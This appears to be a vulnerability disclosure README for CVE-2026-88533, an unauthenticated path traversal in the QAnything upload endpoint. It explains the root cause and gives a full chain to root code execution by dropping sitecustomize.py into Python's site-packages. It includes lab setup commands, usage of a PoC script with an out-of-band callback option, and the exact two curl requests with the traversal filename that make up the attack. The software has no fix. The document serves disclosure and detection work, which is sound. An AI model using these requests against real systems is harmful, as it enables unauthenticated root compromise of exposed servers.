CVE ID: CVE-2026-88533 (assigned by MITRE, record publication pending)
Product: QAnything by netease-youdao — open-source RAG / knowledge-base QA platform
Affected: v1.4.x through v2.0.0 (default branch qanything-v2, through final commit 65de104)
Fixed version: none — project unmaintained since 2025-03-12; the only sanitization fix (PR #483) lives on the legacy master branch and was never merged into qanything-v2
Weakness: CWE-22 Path Traversal
Impact: Unauthenticated arbitrary file creation → Remote Code Execution as uid=0(root)
Discoverer: Yankui Li
Summary
The file upload endpoint POST /api/local_doc_qa/upload_files takes the attacker-controlled
multipart filename and uses it as the destination path without sanitizing path separators.
urllib.parse.unquote() expands %2f back to /, full-width character filtering and length
truncation leave ../ and absolute paths intact, and os.path.join(base, name) discards the
base entirely when name is absolute. The resulting open(file_location, "wb") writes
attacker-controlled content anywhere the process can reach — inside a root container by default.
Because the product requires no authentication anywhere (user_id/user_info are plain
request parameters), any network-reachable instance accepts this anonymously.
Root cause
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
Two properties make this reliably exploitable:
- Absolute paths work directly — no
../counting needed. - Relative traversal works too —
%2e%2e%2fsurvives because unquote runs before any filter.
A hardening contrast inside the same codebase: the upload_faqs endpoint replaces / with _ in
filenames. upload_files never got that treatment, making it the single write vector.
Note: LocalFile.__init__ has an if not os.path.exists(file_location) guard, so only new files
can be created — existing files cannot be overwritten. Exploitation therefore targets
new files at executable locations.
From arbitrary write to root RCE
The official Docker image runs the Python backend as root. CPython automatically imports
sitecustomize.py from site-packages at interpreter startup — a fresh file dropped at:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ relative, or absolute path) is imported the next time the backend starts, executing
attacker code as uid=0(root).
Why
site-packagesand not the app directory? CPython runssite.pybefore insertingsys.path[0], so asitecustomize.pynext to the entry script is not auto-imported.site-packagesis the only reliable drop zone.
Other vectors were tested and ruled out (documented for completeness):
/etc/cron.d/— directory exists and accepts writes, but the image ships no cron daemon, so nothing ever executes the payload.- Overwriting existing config/code files — blocked by the exists guard.
Lab reproduction
Official image + pinned vulnerable source (commit 65de104):
git clone <this-repo> && cd CVE-2026-88533 git clone https://github.com/netease-youdao/QAnything cd QAnything && git checkout 65de104 && cd .. docker compose -f docker-compose-lab.yaml up -d # wait for the backend: curl http://127.0.0.1:8777/api/health_check
PoC usage (zero dependencies, Python 3 stdlib only)
The PoC script ships in this repository (poc_qanything_cve_2026_88533.py) — every
evidence item below was produced by running it against the lab stack above. Clone and
reproduce the exact output yourself:
# Step 1 — write primitive (harmless): marker written to /tmp inside the # container via absolute-path multipart filename, then read back as proof python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local # Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages, # container restart, code execution proven as uid=0(root) python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local # Optional out-of-band callback for network-level proof: # ... --mode full --oob http://your-oob-endpoint/cb
--mode full restarts the target container once (documented behavior; the CPython import
fires on startup). Everything ships safe by default: no reverse shell, no destructive
payload — the demo payload writes a marker file containing the output of id.
What the attack traffic looks like
The entire attack is two HTTP POSTs; this is what detection content should match on
(the multipart filename carrying an absolute path or ..//%2f sequences is the key signal):
# 1) anonymous knowledge base curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \ -H "Content-Type: application/json" \ -d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}' # 2) upload: the filename IS the destination path (absolute path also works) curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \ -F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \ -F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
Evidence
All evidence below is the actual terminal output of poc_qanything_cve_2026_88533.py
(the script in this repository) run against the lab stack built from
docker-compose-lab.yaml. No step was faked or simulated — the script exits non-zero
unless every check passes, so you can verify the chain end-to-end yourself.
Lab stack — official image + minimal dependencies, all containers healthy:
--mode check — unauthenticated write primitive confirmed: the marker was written outside
the upload dir via an absolute-path multipart filename and read back from inside the container:
--mode full — after the container restart, CPython auto-imports the planted
sitecustomize.py; the payload's marker proves execution as uid=0(root):
The complete terminal transcript of the --mode full run shown above is also included,
verbatim: evidence/full-chain-run-2026-09-18.log —
6/6 checks [OK], verdict RCE CONFIRMED, payload marker proving uid=0(root) with a
timestamp (the nonce/kb_id values in the log are randomly generated per run, so your
own run will differ — that is expected).
A screenshot of the CVE record page will be added once the record is published.
Timeline
| Date | Event |
|---|---|
| 2026-08-25 | Vulnerability discovered; write primitive verified against a live instance (harmless marker + read-back) |
| 2026-08-29 | Full RCE chain reproduced in an isolated local lab; report written; submitted to MITRE (CNA-LR) via cveform |
| 2026-09-18 | CVE-2026-88533 assigned by MITRE |
| TBD | CVE record published; this repository and a detailed write-up released |
Disclaimer
This material is published for defensive research and educational purposes. Use only against systems you own or have explicit written authorization to test. See DISCLAIMER.md.


